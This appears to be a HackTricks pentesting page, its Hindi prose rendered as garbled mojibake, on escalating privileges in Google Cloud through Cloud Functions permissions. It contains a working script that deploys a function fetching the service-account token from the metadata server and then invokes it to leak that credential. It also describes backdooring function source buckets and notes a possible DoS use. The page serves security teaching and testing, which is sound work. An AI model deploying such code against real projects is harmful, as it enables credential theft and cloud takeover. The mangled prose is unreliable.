GCP - Cloudfunctions Privesc

Support HackTricks

cloudfunctions

Cloud Functions рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА:

cloudfunctions.functions.create , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

рдЗрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдордирдорд╛рдиреЗ (рджреБрд╖реНрдЯ) рдХреЛрдб рдХреЗ рд╕рд╛рде рдПрдХ рдирдпрд╛ Cloud Function рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдПрдХ Service Account рд╕реМрдВрдк рд╕рдХрддрд╛ рд╣реИред рдлрд┐рд░, рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдореЗрдЯрд╛рдбреЗрдЯрд╛ рд╕реЗ Service Account рдЯреЛрдХрди рд▓реАрдХ рдХрд░реЗрдВред рдлрдВрдХреНрд╢рди рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред

рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП рд╢реЛрд╖рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпрд╣рд╛рдБ рдФрд░ рдпрд╣рд╛рдБ рдорд┐рд▓ рд╕рдХрддреА рд╣реИрдВ рдФрд░ рдкреНрд░реАрдмрд┐рд▓реНрдЯ .zip рдлрд╝рд╛рдЗрд▓ рдпрд╣рд╛рдБ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред

cloudfunctions.functions.update , cloudfunctions.functions.sourceCodeSet, iam.serviceAccounts.actAs

рдЗрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ Function рдХреЗ рдХреЛрдб рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рд╕рдВрд▓рдЧреНрди рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рдХреЛ рднреА рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рд▓рдХреНрд╖реНрдп рдЯреЛрдХрди рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдирд╛ рд╣реИред

Cloud functions рдХреЛ рддреИрдирд╛рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдХрдВрдкреНрдпреВрдЯ рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рдпрд╛ рдЙрд╕ рд╕реЗрд╡рд╛ рдЦрд╛рддреЗ рдкрд░ actAs рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рднреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЫрд╡рд┐ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

рдХреБрдЫ рдЕрддрд┐рд░рд┐рдХреНрдд рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдЬреИрд╕реЗ рдХрд┐ рд╕рдВрд╕реНрдХрд░рдг 1 cloudfunctions рдХреЗ рд▓рд┐рдП .call рдЕрдиреБрдорддрд┐ рдпрд╛ рдлрдВрдХреНрд╢рди рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП role/run.invoker рднреВрдорд┐рдХрд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред

# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>

рдпрджрд┐ рдЖрдкрдХреЛ рддреНрд░реБрдЯрд┐ Permission 'run.services.setIamPolicy' denied on resource... рдорд┐рд▓рддреА рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ рдЖрдк --allow-unauthenticated рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдФрд░ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЗрд╕рдХреЗ рд▓рд┐рдП рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдирд╣реАрдВ рд╣реИрдВред

рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЗ рд▓рд┐рдП рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдпрд╣рд╛рдБ рдорд┐рд▓ рд╕рдХрддреА рд╣реИред

cloudfunctions.functions.sourceCodeSet

рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреЗ рд╕рд╛рде рдЖрдк рдПрдХ рд╕рд╛рдЗрди рдХрд┐рдпрд╛ рд╣реБрдЖ URL рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдмрдХреЗрдЯ рдореЗрдВ рдЕрдкрд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ (рд▓реЗрдХрд┐рди рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдХреЛрдб рдирд╣реАрдВ рдмрджрд▓реЗрдЧрд╛, рдЖрдкрдХреЛ рдЗрд╕реЗ рдЕрднреА рднреА рдЕрдкрдбреЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛)

# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'

рд╣рдо attackers рдХреЗ рджреГрд╖реНрдЯрд┐рдХреЛрдг рд╕реЗ рдХреЗрд╡рд▓ рдЗрд╕ рдЕрдиреБрдорддрд┐ рдХреА рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдирд┐рд╢реНрдЪрд┐рдд рдирд╣реАрдВ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдЬрд╛рдирдирд╛ рдЕрдЪреНрдЫрд╛ рд╣реИред

cloudfunctions.functions.setIamPolicy , iam.serviceAccounts.actAs

Privilege рдХреЛ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рдЖрдк рдХреЛ рдкрд┐рдЫрд▓реЗ .update рдпрд╛ .create рдЕрдзрд┐рдХрд╛рд░ рджреЗрдВред

cloudfunctions.functions.update

рдХреЗрд╡рд▓ cloudfunctions рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рдмрд┐рдирд╛ iam.serviceAccounts.actAs рдХреЗ рдЖрдк рдлрдВрдХреНрд╢рди рдХреЛ рдЕрдкрдбреЗрдЯ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ, рдЗрд╕рд▓рд┐рдП рдпрд╣ рдПрдХ рдорд╛рдиреНрдп рдкреНрд░рд┐рд╡реЗрд╕реНрдХ рдирд╣реАрдВ рд╣реИред

рдмрдХреЗрдЯ рдкрд░ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдВрдЪ

рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдмрдХреЗрдЯ рдкрд░ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдВрдЪ рд╣реИ, рддреЛ рдЖрдк рдХреЛрдб рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрдиреЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЬрдм рднреА рдмрдХреЗрдЯ рдореЗрдВ рдЕрдкрдбреЗрдЯ рд╣реЛрддрд╛ рд╣реИ, рдЖрдк рдЕрдкрдиреЗ рдХреЛрдб рдХреЗ рд╕рд╛рде рдирдП рдХреЛрдб рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ Cloud Function рдХрд╛ рдирдпрд╛ рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рд╕реНрддреБрдд рдХрд┐рдП рдЧрдП рдмреИрдХрдбреЛрд░ рдХреЛрдб рдХреЗ рд╕рд╛рде рдЪрд▓ рд╕рдХреЗред

рдЖрдк рд╣рдорд▓реЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреЗ Cloud Functions рдХреЛ рдкреВрд░реНрд╡-рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рдЖрдк рдЕрдкрдиреЗ рдЦрд╛рддреЗ рдореЗрдВ рдмрдХреЗрдЯ рдмрдирд╛рддреЗ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреЗрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдмрд╛рд╣рд░реА рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдЙрд╕ рдкрд░ рд▓рд┐рдЦ рд╕рдХреЗ, рддреЛ рдЖрдкрдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рддреНрд░реБрдЯрд┐ рдорд┐рд▓рддреА рд╣реИ:

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ DoS рд╣рдорд▓реЛрдВ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЖрд░реНрдЯрд┐рдлреИрдХреНрдЯ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдкрд░ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдВрдЪ

рдЬрдм рдПрдХ Cloud Function рдмрдирд╛рдИ рдЬрд╛рддреА рд╣реИ, рддреЛ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ рдЖрд░реНрдЯрд┐рдлреИрдХреНрдЯ рд░рдЬрд┐рд╕реНрдЯреНрд░реА рдореЗрдВ рдПрдХ рдирдпрд╛ рдбреЙрдХрд░ рдЗрдореЗрдЬ рдкреБрд╢ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдореИрдВрдиреЗ рдЗрдореЗрдЬ рдХреЛ рдПрдХ рдирдП рдХреЗ рд╕рд╛рде рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА, рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рд╡рд░реНрддрдорд╛рди рдЗрдореЗрдЬ (рдФрд░ cache рдЗрдореЗрдЬ) рдХреЛ рднреА рд╣рдЯрд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХреА, рд▓реЗрдХрд┐рди рдХреБрдЫ рднреА рдирд╣реАрдВ рдмрджрд▓рд╛, рдХреНрд▓рд╛рдЙрдб рдлрдВрдХреНрд╢рди рдХрд╛рдо рдХрд░рддрд╛ рд░рд╣рд╛ред рдЗрд╕рд▓рд┐рдП, рд╢рд╛рдпрдж рдпрд╣ рдмрдХреЗрдЯ рдХреЗ рд╕рд╛рде рдПрдХ рд░реЗрд╕ рдХрдВрдбреАрд╢рди рд╣рдорд▓реЗ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдбреЙрдХрд░ рдХрдВрдЯреЗрдирд░ рдХреЛ рдмрджрд▓рд╛ рдЬрд╛ рд╕рдХреЗ рдЬреЛ рдЪрд▓рд╛рдпрд╛ рдЬрд╛рдПрдЧрд╛, рд▓реЗрдХрд┐рди рд╕рдВрдЧреНрд░рд╣реАрдд рдЗрдореЗрдЬ рдХреЛ рдХреЗрд╡рд▓ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ Cloud Function рдХреЛ рд╕рдордЭреМрддрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИред

рд╕рдВрджрд░реНрдн

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated